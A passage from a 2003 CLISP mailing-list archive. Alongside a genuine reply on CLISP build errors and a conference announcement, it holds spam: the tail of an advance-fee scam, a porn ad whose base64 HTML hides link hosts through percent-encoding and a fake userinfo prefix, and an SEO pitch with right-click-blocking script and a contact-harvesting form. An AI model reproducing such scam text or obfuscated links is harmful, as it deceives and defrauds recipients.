once we establish trust and confidence between ourselves. Looking forward to hear from you For more detailed information. NOTE:THE KEY WORD TO THIS TRANSACTION IS ABSOLUTE CONFIDENTIALITY AND SECRECY.THIS TRANSACTION IS 100% RISK FREE. YOUR URGENT RESPONSE WILL BE HIGHLY APPRECIATED. BEST REGARDS, From sds@gnu.org Sat Apr 26 12:46:28 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 199Vcy-0003fT-00 for ; Sat, 26 Apr 2003 12:46:28 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out006.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030426194618.HWWW25800.out006.verizon.net@loiso.podval.org>; Sat, 26 Apr 2003 14:46:18 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3QJkN9u028512; Sat, 26 Apr 2003 15:46:23 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3QJkMwi028508; Sat, 26 Apr 2003 15:46:22 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: =?utf-8?b?SGVydsOpIEJsYW5jaG9u?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Building clips 2.30 on jaguar : problems References: <896E9434-74DA-11D7-BC97-000393556366@imag.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <896E9434-74DA-11D7-BC97-000393556366@imag.fr> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [68.160.9.251] at Sat, 26 Apr 2003 14:46:18 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 26 12:47:05 2003 X-Original-Date: 26 Apr 2003 15:46:22 -0400 > * In message <896E9434-74DA-11D7-BC97-000393556366@imag.fr> > * On the subject of "[clisp-list] Building clips 2.30 on jaguar : problem= s" > * Sent on Tue, 22 Apr 2003 17:53:18 +0200 > * Honorable Herv=C3=A9 Blanchon writes: > > # The default stack size on your platform is insufficient > # and must be increased to at least 8192. You must do either > # 'ulimit -s 8192' (for Bourne shell derivarives, e.g., bash and zsh) or > # 'limit stacksize 8192' (for C shell derivarives, e.g., tcsh) >=20 > The commands were not understood by my bash shell. are you sure it's bash? what was the error message? > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE > -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c > lispbibl.d:1950: unbalanced #endif > lispbibl.d:6683: unterminated #else conditional > spvw_objsize.d:110: unterminated #else conditional > make: *** [spvw.o] Error 1 what's gcc --version? what if you omit --traditional-cpp? --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux I don't want to be young again, I just don't want to get any older. From dudekka21301prsesly@yahoo.com Sun Apr 27 10:42:25 2003 Received: from [202.129.21.9] (helo=202.129.21.9) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 199qAJ-0006LB-00 for ; Sun, 27 Apr 2003 10:42:22 -0700 Received: from sympatico.ca ([24.55.35.225]) by as.net (8.8.3/8.8.3) with SMTP id 11615 for ; Sun, 27 Apr 2003 12:40:51 -0500 Received: from [169.118.177.196] by web9902.mail.yahoo.com via HTTP; Sun, 27 Apr 2003 12:40:49 -0500 Message-ID: <239682836331997.18793.qmail@web22428.mail.yahoo.com> From: "April" To: "" MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_000D_0069422F.7C0A3A43" Subject: [clisp-list] See you soon... folvs0olvwColvwv1vrxufhirujh1qhw10881 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 27 10:43:05 2003 X-Original-Date: Sun, 27 Apr 2003 12:40:44 -0500 ------=_NextPart_000_000D_0069422F.7C0A3A43 Content-Type: text/html; Content-Transfer-Encoding: base64 PEhUTUw+PGhlYWQ+DQo8dGl0bGU+RmFjPCExNTQ4Mj5pYWwgUGFsPCEyODY4NT5hY2UgLSBJ bnM8ITY4MDc+dGFudCBBPCEyMzIzND5jY2VzcyB3aXRoIG91ciBGUjwhMTIyNTk+RUUgVHJp PCExNzc4Mj5hbCEhPC90aXRsZT4NCjxNRVRBIGh0dHAtZXF1aXY9Q29udGVudC1UeXBlIGNv bnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIj4NCjwhODczPjwhMjkxNjk+ PCE2MzI0PjwhMjM3MTc+PCExMTc3Nj4NCjwvaGVhZD4NCg0KPGJvZHkgbGluaz0iI0ZGMDA2 NiI+DQoNCjxwPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPlNlZSB0aGUgSE9U VDwhMTgyNjU+RVNUIGdpPCEzODk+cmxzIGdldCBmYWM8ITI5NjUyPmlhbHk8ITU4NDE+emVk ISE8YnI+DQpHZXQgPGEgaHJlZj0iaHR0cDovLzI0MjAwOjExMjkzQCU2ZCU2MiU3MiU3Ni5z cnUlNjglNmYlNzN0LiU2M29tLmJyLyU2NnAvIj48Zm9udCBjb2xvcj0iI0ZGMDA2NiI+SU5T VEFOVA0KQUNDPCEyMjg2Nj5FU1MgPC9mb250PjwvYT4tIDE8ITEyNjI3PjAwJSBGUjwhNTc2 PkVFPGJyPg0KQ2hlY2sgb3V0IDxhIGhyZWY9Imh0dHA6Ly8xMzc4MDoyNjk4NEAlNmRiJTcy di5zcnVoJTZmJTczJTc0LmMlNmZtLmJyL2YlNzAvIj48Zm9udCBjb2xvcj0iI0ZGMDA2NiI+ RkE8ITI5Mjg1PkNJQUwNClBBTEE8ITIzMDQ3PkNFPC9mb250PjwvYT4gdG9kYTwhNjk5NT55 PC9iPjwvZm9udD48L3A+DQo8ITIwMTk4PjwhMzIxMzM+PCEyMDkxPg0KPHA+Jm5ic3A7PC9w Pg0KPHA+Jm5ic3A7PC9wPg0KPHA+Jm5ic3A7PC9wPg0KPHA+Jm5ic3A7PC9wPg0KPHA+Jm5i c3A7PC9wPg0KPHA+Jm5ic3A7PC9wPg0KPHA+Jm5ic3A7PC9wPg0KPCE1NzI1PjwhNTY2MT48 ITE3MDQ3PjwhMjAyNjM+PCEyNTcxNT4gIA0KPHA+Jm5ic3A7PC9wPg0KPHA+Jm5ic3A7PC9w Pg0KPHA+Jm5ic3A7PC9wPg0KPHA+Jm5ic3A7PC9wPg0KPHA+Jm5ic3A7PC9wPg0KPHA+PGZv bnQgc2l6ZT0iMSIgZmFjZT0iVmVyZGFuYSI+Q2w8ITE0MzI4PmljayA8Yj48YSBocmVmPSJo dHRwOi8vMjk0MTo4NDQ0QCU2ZCU2MiU3MnYuJTczJTcyJTc1aG9zJTc0LiU2MyU2Zm0uYnIv JTc3JTYxbiU2YmVyLyI+PGZvbnQgY29sb3I9IiNGRjAwNjYiPmhlcjwhMzE3MDE+ZTwvZm9u dD48L2E+PC9iPg0KdG8gYmUgcmVtPCEyMjQ0Nz5vdmVkPC9mb250PjwvcD4NCjwvQk9EWT48 L0hUTUw+ From Fabrice.Popineau@supelec.fr Mon Apr 28 06:20:29 2003 Received: from esemetz.ese-metz.fr ([193.48.224.212] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19A8YV-00041n-00 for ; Mon, 28 Apr 2003 06:20:27 -0700 Received: from ANSIBLE.ese-metz.fr (ca-metz-8-92.abo.wanadoo.fr [80.8.119.92]) by esemetz.ese-metz.fr (8.11.6/8.9.3) with ESMTP id h3SDLBP15906 for ; Mon, 28 Apr 2003 15:21:12 +0200 To: clisp-list@lists.sourceforge.net From: Fabrice Popineau Message-ID: User-Agent: Gnus/5.090018 (Oort Gnus v0.18) XEmacs/21.5 (cabbage, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] LSM2003/VHLL Annoucement Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 28 06:21:05 2003 X-Original-Date: Mon, 28 Apr 2003 15:20:14 +0200 The 2003 Libre Software Meeting (LSM) will take place this year in Metz (North-East of France) from July, 9th to July, 12th. I have taken the responsibility for the VHLL track (Very High Level Languages) originally initiated by Robert Strandh and headed by him for the first three editions. I will be pleased to welcome in Metz all people interested in VHLL and who will contribute to the success of the 2003 LSM. This track is meant to show how those high level languages such as Lisp, Scheme and their derivatives, ML, Python, etc. increase productivity, quality, fiability, ease of maintenance in the context of developping applications. Developpers who want to share their experience in this domain are invited to contact me. Subjects may include : - development of tools or platforms - comparison between languages - developper's experiences using VHLL - ... You will find more information about the LSM2003 by browsing http://rencontresmondiales.org. The web site is frequently updated. Yours sincerely, -- Fabrice Popineau ------------------------ e-mail: Fabrice.Popineau@supelec.fr | The difference between theory voice-mail: +33 (0) 387764715 | and practice, is that surface-mail: Supelec, 2 rue E. Belin, | theoretically, F-57070 Metz | there is no difference ! From post@post.com Mon Apr 28 08:35:48 2003 Received: from [81.195.183.42] (helo=post.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19AAfQ-0008QC-00 for ; Mon, 28 Apr 2003 08:35:44 -0700 Message-ID: <64577a21d46f$213ad6ad$5db837ac@obkg.evwl> From: "postmaster" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_F46_B819_6B16713D.F8070FCF" X-Priority: 3 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 Subject: [clisp-list] search engine listings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 28 08:36:11 2003 X-Original-Date: Mon, 28 Apr 2003 17:31:03 -0200 ------=_NextPart_F46_B819_6B16713D.F8070FCF Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable ------=_NextPart_F46_B819_6B16713D.F8070FCF Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBU cmFuc2l0aW9uYWwvL0VOIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5GcmVlIFJh bmtpbmcgUmVwb3J0PC9USVRMRT4NCjxNRVRBIGh0dHAtZXF1aXY9Q29udGVu dC1UeXBlIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0x Ij4NCjxTQ1JJUFQgbGFuZ3VhZ2U9SmF2YVNjcmlwdD4NCnZhciBtZXNzYWdl PSJHZXQgQSBGcmVlIFNlYXJjaCBFbmdpbmUgUmFua2luZyBSZXBvcnQuXG4i Ow0KZnVuY3Rpb24gY2xpY2soZSkgew0KaWYgKGRvY3VtZW50LmFsbCkgew0K aWYgKGV2ZW50LmJ1dHRvbiA9PSAyKSB7DQphbGVydChtZXNzYWdlKTsNCnJl dHVybiBmYWxzZTsNCn0NCn0NCmlmIChkb2N1bWVudC5sYXllcnMpIHsNCmlm IChlLndoaWNoID09IDMpIHsNCmFsZXJ0KG1lc3NhZ2UpOw0KcmV0dXJuIGZh bHNlOw0KfQ0KfQ0KfQ0KaWYgKGRvY3VtZW50LmxheWVycykgew0KZG9jdW1l bnQuY2FwdHVyZUV2ZW50cyhFdmVudC5NT1VTRURPV04pOw0KfQ0KZG9jdW1l bnQub25tb3VzZWRvd249Y2xpY2s7DQo8L1NDUklQVD4NCg0KPFNDUklQVCBs YW5ndWFnZT1KYXZhU2NyaXB0Pg0KPCEtLQ0KdmFyIHBvcHVwPSJHZXQgQSBG cmVlIFNlYXJjaCBFbmdpbmUgUmFua2luZyBSZXBvcnQuIjsNCmZ1bmN0aW9u IG5vd2F5KGdvKSB7DQppZiAoZG9jdW1lbnQuYWxsKSB7DQppZiAoZXZlbnQu YnV0dG9uID09IDIpIHsNCmFsZXJ0KHBvcHVwKTsNCnJldHVybiBmYWxzZTsN Cn0NCn0NCmlmIChkb2N1bWVudC5sYXllcnMpIHsNCmlmIChnby53aGljaCA9 PSAzKSB7DQphbGVydChwb3B1cCk7DQpyZXR1cm4gZmFsc2U7DQp9DQp9DQp9 DQppZiAoZG9jdW1lbnQubGF5ZXJzKSB7DQpkb2N1bWVudC5jYXB0dXJlRXZl bnRzKEV2ZW50Lk1PVVNFRE9XTik7DQp9DQpkb2N1bWVudC5vbm1vdXNlZG93 bj1ub3dheTsNCi8vIC0tPiA8L1NDUklQVD4NCg0KPE1FVEEgY29udGVudD0i TVNIVE1MIDYuMDAuMjYwMC4wIiBuYW1lPUdFTkVSQVRPUj48L0hFQUQ+DQo8 Qk9EWSBiZ0NvbG9yPSNmZmZmZmY+DQo8Rk9STQ0KYWN0aW9uPSJtYWlsdG86 bW90aXZhdGVoaXRzX3JlbUB5YWhvby5jYT9zdWJqZWN0PUVtYWlsIEZvcm0g UmFua2luZyBSZXBvcnQNClJlcXVlc3QiDQptZXRob2Q9cG9zdCBlbmNUeXBl PXRleHQvcGxhaW4+DQo8UCBhbGlnbj1jZW50ZXI+PEZPTlQgZmFjZT0iQXJp YWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgY29sb3I9IzMzMzNmZg0Kc2l6 ZT0yPjxCPjxGT05UIHNpemU9Mz5Db3VsZCB5b3VyIHdlYnNpdGUgdXNlIG1v cmUNCnRyYWZmaWM/PC9GT05UPjwvQj48L0ZPTlQ+PEZPTlQgZmFjZT0iQXJp YWwsDQpIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiDQpzaXplPTI+PEJSPjxCUj4N CiAgICBXaHkgbm90IHB1dCB5b3Vyc2VsZiB3aGVyZSBwZW9wbGUgY2FuIGZp bmQgeW91LiBXZSA8Qj48Rk9OVA0KY29sb3I9I2ZmMDAwMD5ndWFyYW50ZWUg dG9wIHBsYWNlbWVudDwvRk9OVD48L0I+IG9uIHRoZSA8Rk9OVA0KY29sb3I9 IzMzMzNmZj48Qj50b3AgMTUgc2VhcmNoIGVuZ2luZTxGT05UDQpjb2xvcj0j MzMzM2ZmPnM8L0ZPTlQ+ITwvQj48L0ZPTlQ+PEJSPg0KICAgIEZpbGwgb3V0 DQp0aGUgZm9ybSBiZWxvdywgYW5kIHdlIHdpbGwgcnVuIGEgZnJlZSByYW5r aW5nIHJlcG9ydCBvbiB5b3VyDQp3ZWJzaXRlLjwvRk9OVD48L1A+DQo8VEFC TEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPTYwMCBhbGln bj1jZW50ZXIgYm9yZGVyPTA+DQogIDxUQk9EWT4NCiAgPFRSIGJnQ29sb3I9 I2VhZWFlYT4NCiAgICA8VEQ+DQogICAgICA8RElWIGFsaWduPWNlbnRlcj4N CiAgICAgIDxQPiZuYnNwOzwvUD4NCiAgICAgIDxQPjxCPjxGT05UIGZhY2U9 IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9ND5SZXF1ZXN0 IGEgPEZPTlQNCiAgICAgIGNvbG9yPSNmZjAwMDA+bm8tb2JsaWdhdGlvbiBj b25zdWx0YXRpb248L0ZPTlQ+IGZvciB5b3VyIHdlYnNpdGUhPC9GT05UPjwv Qj48Rk9OVA0KICAgICAgc2l6ZT00PjxCPjxGT05UIGZhY2U9IkFyaWFsLCBI ZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPg0KPC9GT05UPjwvQj48L0ZPTlQ+PC9Q Pg0KICAgICAgPEhSPg0KDQogICAgICAgICAgICA8UD48Qj48Rk9OVCBmYWNl PSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPTM+T25lIG9m IG91cg0KICAgICAgICAgICAgICBzZWFyY2ggZW5naW5lIHNwZWNpYWxpc3Rz IHdpbGwgY29udGFjdCB5b3UgdG8gZGlzY3VzcyB5b3VyIHJlcG9ydA0KICAg ICAgICAgICAgICBhbmQgc2VhcmNoIGVuZ2luZSByYW5raW5ncy48L0ZPTlQ+ PEZPTlQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6 ZT0yPjxCUj4NCiAgICAgICAgICAgICAgPC9GT05UPjwvQj48L1A+PC9ESVY+ PC9URD48L1RSPg0KICA8VFI+DQogICAgPFREPg0KICAgICAgPERJViBhbGln bj1jZW50ZXI+DQogICAgICA8UD4mbmJzcDs8L1A+DQogICAgICAgICAgICA8 VEFCTEUgY2VsbFNwYWNpbmc9MSBib3JkZXJDb2xvckRhcms9I2VhZWFlYSBj ZWxsUGFkZGluZz0yIHdpZHRoPTQwMA0KICAgICAgYm9yZGVyPTE+DQogICAg ICAgICAgICAgIDxUQk9EWT4NCiAgICAgICAgICAgICAgICA8VFI+DQogICAg ICAgICAgICAgICAgICA8VEQgd2lkdGg9IjUwJSIgaGVpZ2h0PTI1PiA8RElW IGFsaWduPWxlZnQ+PEZPTlQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fu cy1zZXJpZiINCiAgICAgICAgICAgIHNpemU9Mj5Zb3VyIG5hbWU6PC9GT05U PjwvRElWPjwvVEQ+DQogICAgICAgICAgICAgICAgICA8VEQgd2lkdGg9IjUw JSIgaGVpZ2h0PTI1PiA8RElWIGFsaWduPWxlZnQ+DQogICAgICAgICAgICAg ICAgICAgICAgPElOUFVUIG1heExlbmd0aD01MCBzaXplPTI1IG5hbWU9bmFt ZT4NCiAgICAgICAgICAgICAgICAgICAgPC9ESVY+PC9URD4NCiAgICAgICAg ICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4NCiAgICAgICAg ICAgICAgICAgIDxURCB3aWR0aD0iNTAlIiBoZWlnaHQ9MjU+IDxESVYgYWxp Z249bGVmdD48Rk9OVCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNl cmlmIg0KICAgICAgICAgICAgc2l6ZT0yPldlYnNpdGUgYWRkcmVzczo8L0ZP TlQ+PC9ESVY+PC9URD4NCiAgICAgICAgICAgICAgICAgIDxURCB3aWR0aD0i NTAlIiBoZWlnaHQ9MjU+IDxESVYgYWxpZ249bGVmdD48Rk9OVCBmYWNlPSJB cmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4NCiAgICAgICAgICAgICAg ICAgICAgICA8SU5QVVQNCiAgICAgICAgICAgIG1heExlbmd0aD01MCBzaXpl PTI1IG5hbWU9dXJsPg0KICAgICAgICAgICAgICAgICAgICAgIDwvRk9OVD48 L0RJVj48L1REPg0KICAgICAgICAgICAgICAgIDwvVFI+DQogICAgICAgICAg ICAgICAgPFRSPg0KICAgICAgICAgICAgICAgICAgPFREIHdpZHRoPSI1MCUi IGhlaWdodD0yNT4gPERJViBhbGlnbj1sZWZ0PjxGT05UIGZhY2U9IkFyaWFs LCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiDQogICAgICAgICAgICBzaXplPTI+ VGVsZXBob25lIG51bWJlcjo8L0ZPTlQ+PC9ESVY+PC9URD4NCiAgICAgICAg ICAgICAgICAgIDxURCB3aWR0aD0iNTAlIiBoZWlnaHQ9MjU+IDxESVYgYWxp Z249bGVmdD48Rk9OVCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNl cmlmIj4NCiAgICAgICAgICAgICAgICAgICAgICA8SU5QVVQNCiAgICAgICAg ICAgIG1heExlbmd0aD01MCBzaXplPTI1IG5hbWU9cGhvbmU+DQogICAgICAg ICAgICAgICAgICAgICAgPC9GT05UPjwvRElWPjwvVEQ+DQogICAgICAgICAg ICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgICA8VFI+DQogICAgICAgICAg ICAgICAgICA8VEQgaGVpZ2h0PTI1PiA8RElWIGFsaWduPWxlZnQ+PEZPTlQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiINCiAgICAgICAg ICAgIHNpemU9Mj5FbWFpbCBhZGRyZXNzOjwvRk9OVD48L0RJVj48L1REPg0K ICAgICAgICAgICAgICAgICAgPFREIGhlaWdodD0yNT4gPERJViBhbGlnbj1s ZWZ0PjxGT05UIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYi Pg0KICAgICAgICAgICAgICAgICAgICAgIDxJTlBVVA0KICAgICAgICAgICAg bWF4TGVuZ3RoPTUwIHNpemU9MjUgbmFtZT1lbWFpbD4NCiAgICAgICAgICAg ICAgICAgICAgICA8L0ZPTlQ+PC9ESVY+PC9URD4NCiAgICAgICAgICAgICAg ICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4NCiAgICAgICAgICAgICAg ICAgIDxURCBjbGFzcz1iZHl0eHR3aHQgYWxpZ249cmlnaHQ+PGRpdiBhbGln bj0ibGVmdCI+V2hhdCBpcyB5b3VyDQogICAgICAgICAgICAgICAgICAgICAg YW50aWNpcGF0ZWQgTW9udGhseSBNYXJrZXRpbmcgQnVkZ2V0PzwvZGl2Pjwv VEQ+DQogICAgICAgICAgICAgICAgICA8VEQgYWxpZ249bGVmdD48U0VMRUNU IGlkPWJ1ZGdldCBuYW1lPWJ1ZGdldD4NCiAgICAgICAgICAgICAgICAgICAg ICA8T1BUSU9OIHZhbHVlPSIwIHRvIDUwMCIgc2VsZWN0ZWQ+JDAgdG8gJDUw MDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04NCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWU9IjUwMSB0byAx LDUwMCI+JDUwMSB0byAkMSw1MDA8L09QVElPTj4NCiAgICAgICAgICAgICAg ICAgICAgICA8T1BUSU9OIHZhbHVlPSIxLDUwMSB0byAyLDUwMCI+JDEsNTAx IHRvICQyLDUwMDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxP UFRJT04gdmFsdWU9Ik92ZXIgMiw1MDAiPk92ZXIgJDIsNTAwPC9PUFRJT04+ DQogICAgICAgICAgICAgICAgICAgIDwvU0VMRUNUPjwvVEQ+DQogICAgICAg ICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgICA8VFI+DQogICAgICAg ICAgICAgICAgICA8VEQgaGVpZ2h0PTI1PnNlbGVjdCB5b3VyIGNvdW50cnkg PC9URD4NCiAgICAgICAgICAgICAgICAgIDxURCBoZWlnaHQ9MjU+PFNFTEVD VA0KICAgICAgICAgICAgICAgICAgIHNpemU9MSBuYW1lPWNvdW50cnljb2Rl Pg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9IiI+SSBk b24ndCBjYXJlPC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9Q VElPTg0KICAgICAgICAgICAgICAgICAgICB2YWx1ZT1BRj5BZmdoYW5pc3Rh bg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9QUw+QWxi YW5pYQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04NCiAgICAgICAg ICAgICAgICAgICAgdmFsdWU9QUc+QWxnZXJpYQ0KICAgICAgICAgICAgICAg ICAgICAgIDxPUFRJT04gdmFsdWU9QU4+QW5kb3JyYQ0KICAgICAgICAgICAg ICAgICAgICAgIDxPUFRJT04NCiAgICAgICAgICAgICAgICAgICAgdmFsdWU9 QU8+QW5nb2xhDQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1 ZT1BVj5Bbmd1aWxsYQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04N CiAgICAgICAgICAgICAgICAgICAgdmFsdWU9QUM+QW50aWd1YSBhbmQgQmFy YnVkYQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04NCiAgICAgICAg ICAgICAgICAgICAgdmFsdWU9QVI+QXJnZW50aW5hDQogICAgICAgICAgICAg ICAgICAgICAgPE9QVElPTiB2YWx1ZT1BTT5Bcm1lbmlhDQogICAgICAgICAg ICAgICAgICAgICAgPE9QVElPTg0KICAgICAgICAgICAgICAgICAgICB2YWx1 ZT1BQT5BcnViYQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFs dWU9QVQ+QXNobW9yZSBhbmQgQ2FydGllciBJc2xhbmRzDQogICAgICAgICAg ICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1BUz5BdXN0cmFsaWENCiAgICAg ICAgICAgICAgICAgICAgICA8T1BUSU9ODQogICAgICAgICAgICAgICAgICAg IHZhbHVlPUFVPkF1c3RyaWENCiAgICAgICAgICAgICAgICAgICAgICA8T1BU SU9OIHZhbHVlPUFKPkF6ZXJiYWlqYW4NCiAgICAgICAgICAgICAgICAgICAg ICA8T1BUSU9ODQogICAgICAgICAgICAgICAgICAgIHZhbHVlPUJGPkJhaGFt YXMNCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUJBPkJh aHJhaW4NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9ODQogICAgICAg ICAgICAgICAgICAgIHZhbHVlPUJHPkJhbmdsYWRlc2gNCiAgICAgICAgICAg ICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUJCPkJhcmJhZG9zDQogICAgICAg ICAgICAgICAgICAgICAgPE9QVElPTg0KICAgICAgICAgICAgICAgICAgICB2 YWx1ZT1CUz5CYXNzYXMgRGEgSW5kaWENCiAgICAgICAgICAgICAgICAgICAg ICA8T1BUSU9OIHZhbHVlPUJPPkJlbGFydXMNCiAgICAgICAgICAgICAgICAg ICAgICA8T1BUSU9ODQogICAgICAgICAgICAgICAgICAgIHZhbHVlPUJFPkJl bGdpdW0NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUJI PkJlbGl6ZQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04NCiAgICAg ICAgICAgICAgICAgICAgdmFsdWU9Qk4+QmVuaW4NCiAgICAgICAgICAgICAg ICAgICAgICA8T1BUSU9OIHZhbHVlPUJEPkJlcm11ZGENCiAgICAgICAgICAg ICAgICAgICAgICA8T1BUSU9ODQogICAgICAgICAgICAgICAgICAgIHZhbHVl PUJUPkJodXRhbg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFs dWU9Qkw+Qm9saXZpYQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04N CiAgICAgICAgICAgICAgICAgICAgdmFsdWU9Qks+Qm9zbmlhIGFuZCBIZXJ6 ZWdvdmluYQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04NCiAgICAg ICAgICAgICAgICAgICAgdmFsdWU9QkM+Qm90c3dhbmENCiAgICAgICAgICAg ICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUJWPkJvdXZldCBJc2xhbmQNCiAg ICAgICAgICAgICAgICAgICAgICA8T1BUSU9ODQogICAgICAgICAgICAgICAg ICAgIHZhbHVlPUJSPkJyYXppbA0KICAgICAgICAgICAgICAgICAgICAgIDxP UFRJT04gdmFsdWU9SU8+QnJpdGlzaCBJbmRpYW4gT2NlYW4gVGVycml0b3J5 DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1WST5Ccml0 aXNoIFZpcmdpbiBJc2xhbmRzDQogICAgICAgICAgICAgICAgICAgICAgPE9Q VElPTg0KICAgICAgICAgICAgICAgICAgICB2YWx1ZT1CWD5CcnVuZWkNCiAg ICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUJVPkJ1bGdhcmlh DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTg0KICAgICAgICAgICAg ICAgICAgICB2YWx1ZT1VVj5CdXJraW5hIEZhc28NCiAgICAgICAgICAgICAg ICAgICAgICA8T1BUSU9OIHZhbHVlPUJNPkJ1cm1hDQogICAgICAgICAgICAg ICAgICAgICAgPE9QVElPTg0KICAgICAgICAgICAgICAgICAgICB2YWx1ZT1C WT5CdXJ1bmRpDQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1 ZT1DQj5DYW1ib2RpYQ0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04N CiAgICAgICAgICAgICAgICAgICAgdmFsdWU9Q00+Q2FtZXJvb24NCiAgICAg 